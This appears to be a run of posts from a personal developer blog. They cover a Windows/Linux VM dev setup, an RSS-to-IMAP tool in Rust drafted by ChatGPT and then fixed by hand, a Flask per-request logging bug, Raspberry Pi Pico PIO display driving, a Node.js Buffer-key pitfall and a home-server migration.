Sometimes it is necessary to access a port of the virtual machine on localhost (if something inside the virtual machine is running on port 8080, I can access it on localhost:8080). To do this, I initially used the following PowerShell command:

> Add-NetNatStaticMapping -NatName "InternalNatNetwork" -Protocol TCP -ExternalIPAddress 0.0.0.0 -InternalIPAddress 192.168.56.101 -InternalPort 8080 -ExternalPort 8080

This started to not work after a while. I don't know what happened to it, but after some digging, I found another command instead.

> netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8080 connectaddress=192.168.56.101

In hindsight, it might have been easier to just use SSH port forwarding. What a delightful discovery to make during writing this post.

GUI applications

The physical machine is running VcXsrv, which is an X server running on Windows. Within the virtual Linux, I can use it to launch windowed applications that can be used as Windows applications. Usually the IDE I'm currently using runs inside the virtual machine with this method because it's easier to access Linux/Docker stuff inside the virtual machine and there are fewer problems around file permissions.

SSH

I use a GPG key stored on a YubiKey for SSH authentication. The GPG agent in Gpg4win is configured to both handle the YubiKey and to offer the key to the SSH agent:

scdaemon.conf

reader-port Yubico Yubi
pcsc-shared
disable-application piv

gpg-agent.conf

enable-ssh-support
enable-putty-support

PuTTY is used as SSH client (although Windows Terminal is quite promising, but last time I checked it didn't want to work with the GPG agent). Agent forwarding^[1] is enabled so that the virtual machine can use the key on the YubiKey.

Also, my Linux home directory is mounted as a network drive (P:\) to make it easier to move files between the two machines.

The virtual machine

This part is pretty basic, a simple Debian or Ubuntu server that I set up using Ansible. After SSHing in, I'm greeted by a Bash with the default settings (apart from a few aliases) and I usually start a Tmux alongside. If I'm in the mood, I'll use Powerline (and its associated DejaVu Sans Mono font) to make them look fancy a bit.

Samba

There is a Samba on the machine because of the network drive. I found some performance-boosting settings on the net that I use with it:

/etc/samba/smb.conf

read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes

Docker

Last but not least, Docker is added for the projects. All the other stuff will hopefully run inside Docker. Speaking of Docker, we should talk a bit about its network setup.

If you let it run wild, there's a small chance that sooner or later it will create a network that conflicts with one of your other local networks and things will start to get weird. To prevent this, it's worth adding something like this to your settings:

/etc/docker/daemon.json

{
  "bip": "172.20.0.1/16",
  "default-address-pools": [
    {"base": "172.21.0.0/16", "size": 24}
  ]
}

So you can have ~250 networks with ~250 machines per network, which is probably more than enough for a development machine, but you can add more domains to the default-address-pools section if you run out of them.

That brings us to the end of the tour, I hope you enjoyed the trip. We've scratched the surface of quite a lot of things, but this is probably enough to get you started on this bumpy road.
Having said that, I can probably admit now that I'm not sure I could recommend this setup to anyone. I am comfortable with it enough not to change for the time being, but I am still looking for other possible alternatives.

Notes

1. ↑ It is often said that agent forwarding is not a good idea, because the socket will be available to others on the target machine if they have enough privileges (e.g. root), but this is not a threat in our case.

Midjourney generated this image for us

I'm thinking about this idea for a while now about alternative uses of the mailbox. The base of the idea is that you can create arbitrary email-like things in your account via the IMAP protocol, without actually sending any emails.

For example, we could click on a "Save for later" button on a page, and an unread email with the page's content appears in our mailbox. Or we subscribe to the RSS feed of a site and new articles arrive as emails. So it could be used as kind of a database, for which there are already a bunch of clients on every platform imaginable.

A little bit of extra intelligence

Time went by, but the project was still going nowhere until one day I was talking to ChatGPT (model GPT-4, but I just called him Dave) about what fun weekend projects he could come up with. The responses weren't so inspiring, but it occurred to me that I already have a weekend project I should dust off.

So I asked him how to process RSS feeds in Python. Then how to create email messages and save them via IMAP protocol. The answers were quite convincing at first glance, so I had him write the whole project: create an email message from all the entries of an RSS feed, then save it to a mailbox via IMAP, all written in Python of course.

At this point, I had a minor existential crisis. No need to keep me around, just ask ChatGPT. I'm sure it would take him much less time to write this article and here I am, doing this for hours.

But gloom aside, I finally decided to tell him to rewrite the whole thing in Rust and I'll try to run it. It's a trendy thing anyway and I don't really know Rust, so it'll be more exciting.

Ready to start

First, I got a list of the dependencies I need to add to my Cargo.toml file:

[dependencies]
rss = "1.10.0"
lettre = "0.10.0-rc.3"
imap = "3.0.0"
native-tls = "0.2.8"
tokio = { version = "1.0", features = ["full"] }

Looks good, but imap doesn't have 3.0.0 (yet), so I changed it to 3.0.0-alpha.10 because that was the most up-to-date version. If it were up to me, I'd rather use the latest stable version of everything, but I'm not paid to think (heck, I'm not even paid).

The first code snippet I got was the downloading and processing of the RSS feed:

use rss::Channel;

async fn parse_rss_feed(url: &str) -> Result<Channel, Box<dyn std::error::Error>> {
    let content = reqwest::get(url).await?.bytes().await?;
    let channel = Channel::read_from(&content[..])?;
    Ok(channel)
}

The compiler complained that it didn't know anything about the reqwest module, so I had to add a reqwest = "0.11.16" row to the Cargo.toml file.

The next piece of code I got was the creation of the email message from the RSS feed:

use lettre::message::{Header, Message, Mailbox};

fn create_email_from_entry(entry: &rss::Item, sender: &str, recipient: &str) -> Message {
    let body = format!("{}\n\nRead more at: {}", entry.description().unwrap_or_default(), entry.link().unwrap_or_default());
    Message::builder()
        .from(sender.parse().unwrap())
        .to(recipient.parse().unwrap())
        .subject(entry.title().unwrap_or_default())
        .header(Header::new("Content-Type", "text/plain; charset=utf-8"))
        .body(body)
        .unwrap()
}

The compiler did not like the use of Header because it's private. And the Mailbox isn't even used. Fortunately, there is built-in support for the text/plain content type in the library, so this is what I came up with:

use lettre::message::{header::ContentType, Message};

fn create_email_from_entry(entry: &rss::Item, sender: &str, recipient: &str) -> Message {
    let body = format!("{}\n\nRead more at: {}", entry.description().unwrap_or_default(), entry.link().unwrap_or_default());
    Message::builder()
        .from(sender.parse().unwrap())
        .to(recipient.parse().unwrap())
        .subject(entry.title().unwrap_or_default())
        .header(ContentType::TEXT_PLAIN)
        .body(body)
        .unwrap()
}

The next thing was saving the email message via IMAP protocol:

use imap::Client;
use native_tls::TlsConnector;

async fn save_emails_to_mailbox(
    imap_server: &str,
    user_email: &str,
    password: &str,
    mailbox: &str,
    messages: Vec<Message>,
) -> Result<(), Box<dyn std::error::Error>> {
    let tls = TlsConnector::builder().build()?;
    let client = Client::secure_connect((imap_server, 993), imap_server, &tls)?;
    let mut imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;

    imap_session.select(mailbox)?;

    for message in messages {
        let message_string = message.formatted();
        imap_session.append(mailbox, message_string.as_bytes())?;
    }

    imap_session.logout()?;
    Ok(())
}

That's a bit problematic. The Client::secure_connect doesn't exist, message_string doesn't have an as_bytes method and for some reason, you can't put ? after append(...). If I'd know Rust, I could probably explain to you why, but knowing my situation, let's just say that I managed to compile it eventually:

use imap::ClientBuilder;

async fn save_emails_to_mailbox(
    imap_server: &str,
    user_email: &str,
    password: &str,
    mailbox: &str,
    messages: Vec<Message>,
) -> Result<(), Box<dyn std::error::Error>> {
    let client = ClientBuilder::new(imap_server, 993).native_tls()?;
    let mut imap_session = client.login(user_email, password).map_err(|(e, _)| e)?;

    imap_session.select(mailbox)?;

    for message in messages {
        let message_string = message.formatted();
        imap_session.append(mailbox, message_string.as_slice());
    }

    imap_session.logout()?;
    Ok(())
}

And last but not least is the main() function, which wraps it all up:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let rss_url = "https://example.com/rss_feed.xml";
    let imap_server = "imap.gmail.com";
    let user_email = "your_email@example.com";
    let password = "your_password";
    let mailbox = "INBOX";

    let channel = parse_rss_feed(rss_url).await?;

    let messages: Vec<_> = channel
        .items()
        .iter()
        .map(|entry| create_email_from_entry(entry, user_email, user_email))
        .collect();

    save_emails_to_mailbox(imap_server, user_email, password, mailbox, messages).await?;

    Ok(())
}

The compiler didn't find any errors in this, but a new warning from the previous code came up that we should use AppendCmd returned by the append(...) call. From this I had a suspicion that something was not quite right and fixed it like this:

imap_session.append(mailbox, message_string.as_slice()).finish()?;

What a joy, the ? at the end of the line is back and the code is compiled without any problems. At last, I replaced the values of the config variables in main() with the correct ones, ran the resulting program, and... it worked!

A brave new world

I would be more than happy to say that it was a shame to leave a human's work to a machine, but on one hand, it still saved a lot of time for me, and on the other hand, ChatGPT would probably have fixed it himself if I had copied back the error messages to him.

Afterward, we talked a bit more about how he would run the program using systemd, Supervisor, or Docker, how to monitor such a program, and what config file format he would recommend, but if you want to know more about that, you'll have to ask him, he'll be happy to tell you.

Our past decisions can stab us in the back in quite surprising and unexpected ways. This is no different during the natural evolution of our code. Only time can tell whether the choices we make today will turn out to be right or wrong in the future.
Of course, there are "habits", "methodologies", "patterns" and other things that can be followed, which will produce good results in most cases, but sometimes we still manage to be creative enough to shoot ourselves in the foot.

Today we'll try to achieve that using Python and Flask by extending a very complex "Hello World" application.

A bug's birth

So the project starts, everyone is excited, we finally have a blank page to fill in, and the development will not be slowed down by the weight of our previous (wrong) decisions. Soon we finish the first version.

class HelloView(MethodView):
    def get(self):
        return 'Hello World\n'

app = Flask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

if __name__ == '__main__':
    app.run()

Soon after, we realise that such a complex application cannot exist without logging, so we add it as an afterthought.

class HelloView(MethodView):
    logger = logging.getLogger('view.hello')

    def get(self):
        self.logger.info('hello from view')
        return 'Hello World\n'

So far so good, calling the app works as expected:

$ curl localhost:8080
Hello World

And our message also appears in the logs:

{"name": "view.hello", "message": "hello from view"}

But as time goes on and requirements change, we need to be able to add extra data to the logs. Such data could be, say, a unique identifier generated for the requests.

class ContextLogger:
    def __init__(self, logger):
        self.__logger = logger
        self.__context = {}

    def add_context(self, key, value):
        self.__context[key] = value

    def info(self, message):
        self.__logger.info(message, extra=self.__context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            logger.add_context('request_id', request_id)
            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = ContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

In reality, ContextLogger would be a bit more complex, implementing the other logging functions (warn, error, etc.) and handling the external extra parameters.

The sleep call is intended to simulate other work done by the view class. Like it should also call some backend service to collect the data needed to display Hello World or something like that. Anyway, the application still works fine.

{
  "name": "view.hello",
  "message": "hello from middleware (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)",
  "request_id": "5f428aa7-cf68-4ae4-a003-2b95085f7f7d"
}
{
  "name": "view.hello",
  "message": "hello from view (5f428aa7-cf68-4ae4-a003-2b95085f7f7d)",
  "request_id": "5f428aa7-cf68-4ae4-a003-2b95085f7f7d"
}

Or does it? What happens if we try to send multiple requests at the same time?

$ curl localhost:8080 & curl localhost:8080 &

{
  "name": "view.hello",
  "message": "hello from middleware (36d1627c-2159-4865-92ed-c63969efde47)",
  "request_id": "36d1627c-2159-4865-92ed-c63969efde47"
}
{
  "name": "view.hello",
  "message": "hello from middleware (78062d9e-bb3a-4a74-a24c-e0ba22be6660)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}
{
  "name": "view.hello",
  "message": "hello from view (36d1627c-2159-4865-92ed-c63969efde47)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}
{
  "name": "view.hello",
  "message": "hello from view (78062d9e-bb3a-4a74-a24c-e0ba22be6660)",
  "request_id": "78062d9e-bb3a-4a74-a24c-e0ba22be6660"
}

The middleware logs look fine, but the view logs have the same request_id for both requests. Yet the message has the right value. What the f... udge.

The quick fix

The error is caused by the fact that our logger variable in the HelloView class is static, so it is only initialized once when the application is started and our module containing the class is loaded. We expected to have a different logger class per request. Or rather, we didn't even think about it. Logging worked before, it worked after, so there should be no problem here.

A possible fix might be to initialize the logger in the constructor, but then we can't simply pass it to the middleware (which might be necessary so the view and the middleware running before it create logs with the same name).

def add_request_id():
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            self.logger.add_context('request_id', request_id)
            self.logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = None

    def __init__(self):
        self.logger = ContextLogger(logging.getLogger('view.hello'))

    @add_request_id()
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

The decorator can access all the parameters of the function it decorates, including self, which can still be used to access the logger. Not very elegant, but it works. That's what quick fixes are all about, right?

A more permanent solution

In Flask there is a thing called Request Context, the request variable will always refer to the request currently being processed, so if we could add our own data to it, that would solve the problem. By overriding some Flask classes we can solve this.

class MyRequest(Request):
    def __init__(self, environ, populate_request=True, shallow=False):
        super().__init__(environ, populate_request, shallow)
        self.__context = {}

    @property
    def context(self):
        return self.__context

    def add_context(self, key, value):
        self.__context[key] = value

class MyFlask(Flask):
    request_class = MyRequest

class RequestContextLogger:
    def __init__(self, logger):
        self.__logger = logger

    def info(self, message):
        self.__logger.info(message, extra=request.context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            request.add_context('request_id', request_id)

            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = RequestContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

app = MyFlask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

if __name__ == '__main__':
    app.run()

During my attempts to create this solution, I managed to shoot myself in the foot once again, just as I did with the logger. In the first version, the __context was not set in __init__, so every request used the same dict, which made it seem like it would not work. I didn't learn from my mistakes fast enough.

After a bit of digging, you may find that we're not the only ones who thought that adding extra data to request might be a desirable thing to do. We can replace our homebrew solution with Flask's g variable, which will help to get rid of a good chunk of code.

class GContextLogger:
    def __init__(self, logger):
        self.__logger = logger

    def info(self, message):
        self.__logger.info(message, extra=g.log_context)

def add_request_id(logger):
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            g.log_context = {'request_id': request_id}

            logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    logger = GContextLogger(logging.getLogger('view.hello'))

    @add_request_id(logger)
    def get(self, request_id):
        time.sleep(0.01)
        self.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

A bit better, but still, we could improve this. What happens, for example, if the view throws an exception and it is handled by a Flask error handler, which also happens to create a log? Will the extra data be on it? And on the logs of an external module we use?

The "final" solution

As far as anything can be final. Perhaps "a solution that meets the current requirements to the best of our knowledge" would be a better term. First of all, let's get rid of the GContextLogger class so that we don't have to wrap all our log instances in something. To do this, we can use Python's log filter, which is designed for filtering logs but is also often used for this purpose.

class LogContextFilter(Filter):
    def filter(self, record):
        if has_request_context() and hasattr(g, 'log_context'):
            for k, v in g.log_context.items():
                setattr(record, k, v)

        return True

Here we are a bit more careful about accessing g.log_context. We should only try to get data from it if we are processing a Flask request and it already has a log_context.

You can also get rid of the logger creation and use the Flask-configured app.logger instead. The only drawback is that you have to manually add the view name to the logs (if you really need it) because the name field will have the same value as the app.name variable.

def add_request_id():
    def decorator(f):
        @wraps(f)
        def decorated_function(self):
            request_id = uuid.uuid4()
            g.log_context = {
                'request_id': request_id,
                'view': self.__class__.__name__,
            }

            app.logger.info(f'hello from middleware ({request_id})')
            return f(self, request_id)
        return decorated_function
    return decorator

class HelloView(MethodView):
    @add_request_id()
    def get(self, request_id):
        time.sleep(0.01)
        app.logger.info(f'hello from view ({request_id})')
        return 'Hello World\n'

{
  "name": "test",
  "message": "hello from middleware (7575ef53-8764-4d17-967b-af2902691ac4)",
  "request_id": "7575ef53-8764-4d17-967b-af2902691ac4",
  "view": "HelloView"
}
{
  "name": "test",
  "message": "hello from view (7575ef53-8764-4d17-967b-af2902691ac4)",
  "request_id": "7575ef53-8764-4d17-967b-af2902691ac4",
  "view": "HelloView"
}

Since we probably want to do this for every request, we can also replace the add_request_id middleware with a global solution.

class HelloView(MethodView):
    def get(self):
        g.log_context['view'] = self.__class__.__name__

        app.logger.info(f'hello from view')
        return 'Hello World\n'

app = Flask(__name__)
app.add_url_rule('/', view_func=HelloView.as_view('hello'))

@app.before_request
def init_logging_context():
    g.log_context = {
        'request_id': uuid.uuid4(),
        'ip': request.remote_addr,
    }

One drawback of this solution is that we don't know which view will be called in before_request, so we can't put its name in the log_context.

This brings us to our current final solution. You can see the individual phases in their entirety at the related GitHub repository. Have a nice log.

Almost two years passed since the release of the Raspberry Pi Pico. The newer Wi-Fi capable model W has also been released since then. Naturally, I ordered both of them but it took a long time to get to the point to actually use them to do something. But the day finally came.

I'll drive a 4 character 7-segment display with it using the Pico's PIO (programmable IO). These things are small state machines inside the Pico and you can run assembly code on them.

Preparations

The official documentation is quite comprehensive about setting up a development environment so I won't go into details here.

The default process is not that developer friendly: you build the program, unplug the USB cable from the Pico, hold down the button on the Pico, plug back the USB cable, drag and drop your U2F file into the storage and we are done. What can I say, it kills the mood a bit. Luckily there are alternative solutions.

In the end I went with the Picoprobe + CLion direction, this way I could debug the new code on the Pico with a press of a button in the IDE. First I started to set this up on Windows, but I gave up on the "build OpenOCD with MSYS2" part and switched to Linux. Maybe I'll give it another try with WSL2 if I need some challenge. Beside the official documentation this tweet helped a lot setting up everything.

The display

The SH5463AW-14

We need to turn on and off 33 segments (the central : counts as a single segment) that make up the characters and the extra dots. And we only have 14 pins to do this. Something strange is going on here. The trick is that we can only turn on one character at a time. Good news is that if we switch between characters really quick the lame human eyes will think that all four are lit.

To turn on a specific segment we have to set the pin in the bottom row to 1 and the COM pin in the top row to 0. If we want to display the same character in multiple places we can set multiple COM pins to 0, but in reality it might not worth the hassle.

Let's look at a - not so - short example. Let's say we want to display 12:34:

1. set pin 9 and 4 to 1 and pin 14 to 0
2. wait a bit
3. set pin 13, 9, 2, 1, 5 to 1 and pin 11 to 0
4. wait a bit
5. set pin 8 to 1 and pin 7 to 0
6. wait a bit
7. set pin 13, 9, 4, 2, 5 to 1 and pin 10 to 0
8. wait a bit
9. set pin 9, 4, 12, 5 to 1 and pin 6 to 0
10. wait a bit
11. jump back to step one

If we won't jump back to the beginning and do this till the end of time then we would see the numbers lit up on the display only for a brief moment.

First try

First I wanted to transform the process above into C code. With that I can test that I properly understanded the display datasheet, the Pico SDK documentation and I wired it properly. At this stage using PIO would be an unnecessary complication. The whole code is on Github.

Let's start with some configuration:

c_only.c

const uint pin_map_display_to_pico[] = {
  0,
  16, 17, 18, 19, 20, 21, 22,
  9, 10, 11, 12, 13, 14, 15,
};

const uint A  = pin_map_display_to_pico[13];
const uint B  = pin_map_display_to_pico[9];
const uint C  = pin_map_display_to_pico[4];
const uint D  = pin_map_display_to_pico[2];
const uint E  = pin_map_display_to_pico[1];
const uint F  = pin_map_display_to_pico[12];
const uint G  = pin_map_display_to_pico[5];
const uint DP = pin_map_display_to_pico[3];
const uint D5 = pin_map_display_to_pico[8];

const uint COM_1    = pin_map_display_to_pico[14];
const uint COM_2    = pin_map_display_to_pico[11];
const uint COM_3    = pin_map_display_to_pico[10];
const uint COM_4    = pin_map_display_to_pico[6];
const uint COM_DOTS = pin_map_display_to_pico[7];

I skipped the D6, it's the same as the D5. The pin_map_display_to_pico array contains which display pin corresponds to which Pico pin (zero is not valid). On the Pico I used pins 9 to 22.

c_only.c

stdio_init_all();
for (int i = 1; i < sizeof(pin_map) / sizeof(pin_map[0]); ++i) {
    gpio_init(pin_map[i]);
    gpio_set_dir(pin_map[i], GPIO_OUT);
}

Some more initialization before getting to the point. We have to set all the pins to output mode. Then we can write a long infinite loop that does almost the same thing that we discussed before.

c_only.c

// select and display the colon
gpio_put(COM_DOTS, 0);
gpio_put(D5, 1);

while (true) {
  // select the first character place
  gpio_put(COM_1, 0);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 1);

  // display a one
  gpio_put(A, 0);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 0);
  gpio_put(E, 0);
  gpio_put(F, 0);
  gpio_put(G, 0);
  gpio_put(DP, 0);

  // wait a bit
  sleep_ms(2);

  // select the second character place
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 0);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 1);

  // display a two
  gpio_put(A, 1);
  gpio_put(B, 1);
  gpio_put(C, 0);
  gpio_put(D, 1);
  gpio_put(E, 1);
  gpio_put(F, 0);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // wait a bit
  sleep_ms(2);

  // select the third character place
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 0);
  gpio_put(COM_4, 1);

  // display a three
  gpio_put(A, 1);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 1);
  gpio_put(E, 0);
  gpio_put(F, 0);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // wait a bit
  sleep_ms(2);

  // select the fourth character place
  gpio_put(COM_1, 1);
  gpio_put(COM_2, 1);
  gpio_put(COM_3, 1);
  gpio_put(COM_4, 0);

  // display a four
  gpio_put(A, 0);
  gpio_put(B, 1);
  gpio_put(C, 1);
  gpio_put(D, 0);
  gpio_put(E, 0);
  gpio_put(F, 1);
  gpio_put(G, 1);
  gpio_put(DP, 0);

  // wait a bit
  sleep_ms(2);
}

The only difference is that the colon does not depend on any other characters (they do not share pins) so we can turn it on at the very beginning and forget about it. It's worth checking it out that this way the : lights up more than the rest of the characters.

A little bit of PIO

I wanted to start with something simple here also just to see that everything is working properly. And the code for this is on Github as well.

basic_pio.pio

.program basic_pio

.define PUBLIC pin_count 14

loop:
  pull
  out pins, pin_count
  jmp loop

The pull gets the 32 bit of data sent by the C code (and blocks the execution until the data arrives) and the out will write out 14 bits to the pins we specified earlier (the rest of the data will be overwritten by the next pull) and we start the whole thing all over. The publicly defined pin_count will be accessible by the C code as basic_pio_pin_count.

Where did we specify the pins in use? The PIO file has a little bit of C code that sets up the whole program (I wouldn't say that I like mixing up languages in a single file and the CLion didn't like it either, but that's the way it is):

basic_pio.pio

% c-sdk {
static inline void basic_pio_program_init(PIO pio, uint sm, uint offset, uint pin) {
  pio_sm_config config = basic_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&config, pin, basic_pio_pin_count);

  for (uint i = 0; i < basic_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, basic_pio_pin_count, true);

  pio_sm_init(pio, sm, offset, &config);
  pio_sm_set_enabled(pio, sm, true);
}
%}

Next is the C code that uses this PIO program. We send 32 bits of data to the program but only 14 bits will be really useful. These 14 bits will define the state of the 14 pins. The first bit from the right is the value of pin 9 and the last bit is the value of pin 22.

//                             pin 9
//                                 v
uint example_data = 0b00010000000010;
//                    ^
//                    pin 22

We can define some helper constants so we can construct the numbers more easily. Defining the COMs is a bit strange because we have to set every other COM to one, not the one we want to use.

basic_pio.c

#define START_PIN 9

#define A  1 << (14 - START_PIN)
#define B  1 << (10 - START_PIN)
#define C  1 << (19 - START_PIN)
#define D  1 << (17 - START_PIN)
#define E  1 << (16 - START_PIN)
#define F  1 << (13 - START_PIN)
#define G  1 << (20 - START_PIN)
#define DP 1 << (18 - START_PIN)
#define D5 1 << (9 - START_PIN)

#define COM_1    1 << (15 - START_PIN)
#define COM_2    1 << (12 - START_PIN)
#define COM_3    1 << (11 - START_PIN)
#define COM_4    1 << (21 - START_PIN)
#define COM_DOTS 1 << (22 - START_PIN)

const uint one   = B|C|D5;
const uint two   = A|B|D|E|G;
const uint three = A|B|C|D|G;
const uint four  = B|C|F|G|DP;

const uint com_1 = COM_2|COM_3|COM_4;
const uint com_2 = COM_1|COM_3|COM_4|COM_DOTS;
const uint com_3 = COM_1|COM_2|COM_4|COM_DOTS;
const uint com_4 = COM_1|COM_2|COM_3|COM_DOTS;

A little bit of a trick here is that we hid the display of the : into the one variable. This way we get rid of the more shiny : problem as well.

To use the PIO program we have to include the header file generated by CMake. For me this was a #include "basic_pio.pio.h" line at the top of the C file. And we can continue with setting up the program.

basic_pio.c

const PIO pio = pio0;

const uint offset = pio_add_program(pio, &basic_pio_program);
const uint sm = pio_claim_unused_sm(pio, true);

basic_pio_program_init(pio, sm, offset, START_PIN);

We add the program, get a state machine of our own and initialize it.

Only the display logic is left for us to do now. It's a bit shorter than the C-only solution but it basically does the same thing.

basic_pio.c

while (true) {
  pio_sm_put(pio, sm, com_1|one);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_2|two);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_3|three);
  sleep_ms(2);
  pio_sm_put(pio, sm, com_4|four);
  sleep_ms(2);
}

The final result

In the last example the timing of the display was still handled by the C code which is not an ideal situation if you also want to do something else in the code beside driving the display. It would be nice if we could just pass the PIO all the data and it would just take care of all the things display related.

To display all four characters we need four times 14 bits of data, so a 32 bit variable won't be enough. Lucky for us that the state machine has two registers we could use (x and y), so we could send the content of the display as two 28 bit data. The PIO program would store those data into the two registers and send it out to the GPIO in 14 bit chunks with the right timing.

advanced_pio.pio

.program advanced_pio

.define PUBLIC pin_count 14

.wrap_target
  mov isr, x
  mov x, y
  mov y, isr

  pull noblock
  mov x, osr

  out pins, pin_count [5]
  out pins, pin_count
.wrap

The .wrap_target/.wrap part is just like a loop:/jmp loop around the whole thing but it does not cost an extra instruction.

In the first block we switch the contents of the x and y registers. We use the isr (Input Shift Register) as a temporary storage for this. It's not a problem because it isn't in use in our case (it would hold the data coming from the GPIO if the pins would be in input mode).

Next thing is a non-blocking pull instruction. It would put the data coming from the C code into the osr (Output Shift Register, data going to the GPIO pins). A nice property of a non-blocking pull is that if we don't have data then it will use the data from the x register. This way we already solved that if we don't have new data we will display the old data.

Next we will send out 14 bits of data to the pins two times. The [5] at the end of the first out is a five instruction long delay so from the point of the display there will be the same amount of delay after each out call.

The end result will be that we get the data from x and y in turns and we update the data in the registers in turns as well.

And of course we have a similar initialization function for this PIO program as well.

advanced_pio.pio

% c-sdk {
#include "hardware/clocks.h"

static inline void advanced_pio_program_init(PIO pio, uint sm, uint offset, uint pin) {
  pio_sm_config config = advanced_pio_program_get_default_config(offset);

  sm_config_set_out_pins(&config, pin, advanced_pio_pin_count);

  float clock_divider = (float) clock_get_hz(clk_sys) / 2000000;
  sm_config_set_clkdiv(&config, clock_divider);

  for (uint i = 0; i < advanced_pio_pin_count; ++i) {
    pio_gpio_init(pio, pin + i);
  }
  pio_sm_set_consecutive_pindirs(pio, sm, pin, advanced_pio_pin_count, true);

  pio_sm_init(pio, sm, offset, &config);
  pio_sm_set_enabled(pio, sm, true);
}
%}

The only difference is that we call sm_config_set_clkdiv function to slow down the state machine so we alternate the numbers on the display at the right pace.

advanced_pio.c

pio_sm_put(pio, sm, ((com_1|one) << advanced_pio_pin_count) | com_2|two);
pio_sm_put(pio, sm, ((com_3|three) << advanced_pio_pin_count) | com_4|four);

while (true) {
  sleep_ms(1000);
}

Most of the C code is the same as the last example as well. We only changed the parts around the infinite loop a bit. We only send the data to the PIO program one time and after that we can do anything in the C code, the display will be updated regardless. And the code for this example is also on Github.

There is an ancient mayan saying that computers can solve a lot of problems that we wouldn't have to solve without them. Today, we can sink our teeth into a problem just like that. It pairs really well with this lightning talk from 2012 called Wat.

My own Wat-moment started with the Buffer class. Let's get two of them right away.

$ node
> data1 = Buffer.from([0xf5, 0xcf, 0xe2, 0xf0, 0xef])
<Buffer f5 cf e2 f0 ef>
> data2 = Buffer.from([0xfe, 0x99, 0x88, 0xeb, 0xd9])
<Buffer fe 99 88 eb d9>

It's clearly visible to the naked eye that these are indeed two different buffers, but the Node.js can also confirm it for us:

> data1 === data2
false

That's all nice and shiny, but let's look at another example.

> container = {}
{}
> container[data1] = 'foo'
'foo'
> container[data2]
???

What will be the value of the last expression?

a) null
b) undefined
c) it creates a black hole in place of the node interpreter
d) nothing

Maybe a lot of people would go with the b. Maybe someone who knows Node.js a bit better would pick c. But the right answer is so terrible that it's not even an option.

> container[data2]
'foo'

What happens behind the scenes? A key of an object cannot be a Buffer type so it calls a toString method on it automatically. In case of the Buffer type, the toString can have an optional encoding parameter, but if it doesn't get one it'll go with utf8 by default.

Our good-looking byte array doesn't know anything about behaving as a well formed UTF-8 string (that's why it's in our example), so all its bytes are replaced with the Unicode replacement character, which looks like this: �.

Both of our buffers are ignorant in this regard so at the end of the conversion they both contain only five replacement characters.

> data1.toString() === data2.toString()
true
> container
{ '�����': 'foo' }

After all this it seems reasonable that we get back the value for the first data when we use the second data as the key. Now imagine this situation deep down in an in-memory cache layer and the only symptom you see is that sometimes, maybe once in a hundred thousand cases the data from the cache is not right. It's a really fun experience.

What could we do about this? Maybe we are better not using the Buffer type as a key, but if we really need to, we could call the toString with a different encoding parameter. The examples below could all work in this case:

> data1.toString('hex') === data2.toString('hex')
false
> data1.toString('base64') === data2.toString('base64')
false
> data1.toString('binary') === data2.toString('binary')
false

If you can read this post, the experiment was successful. I managed to migrate my development tools from a cloud virtual machine to an actual physical machine humming behind my back. But let's not rush forward that much and go back to the beginning.

I have a virtual machine running a couple of development-related tools. It has a Gogs Git server, a Jenkins instance, a Docker Registry, and a Composer repository (a static HTML site generated by Satis). It doesn't get a lot of traffic, and the applications besides Jenkins are pretty lightweight. But the Jenkins is a bit problematic. For example, sometimes, it cannot build Docker images because it runs out of memory.

That's one of the reasons why I started to build a small home server (4 CPU cores, 16 GB of memory in a 20x20x6 centimeters little box) to migrate all the applications. It's running a Docker Swarm as a single manager node with Traefik for the routing and Portainer for managing the Docker stacks. However, initial tests showed that moving the Git server won't be a smooth sail, so I didn't start the migration up until now.

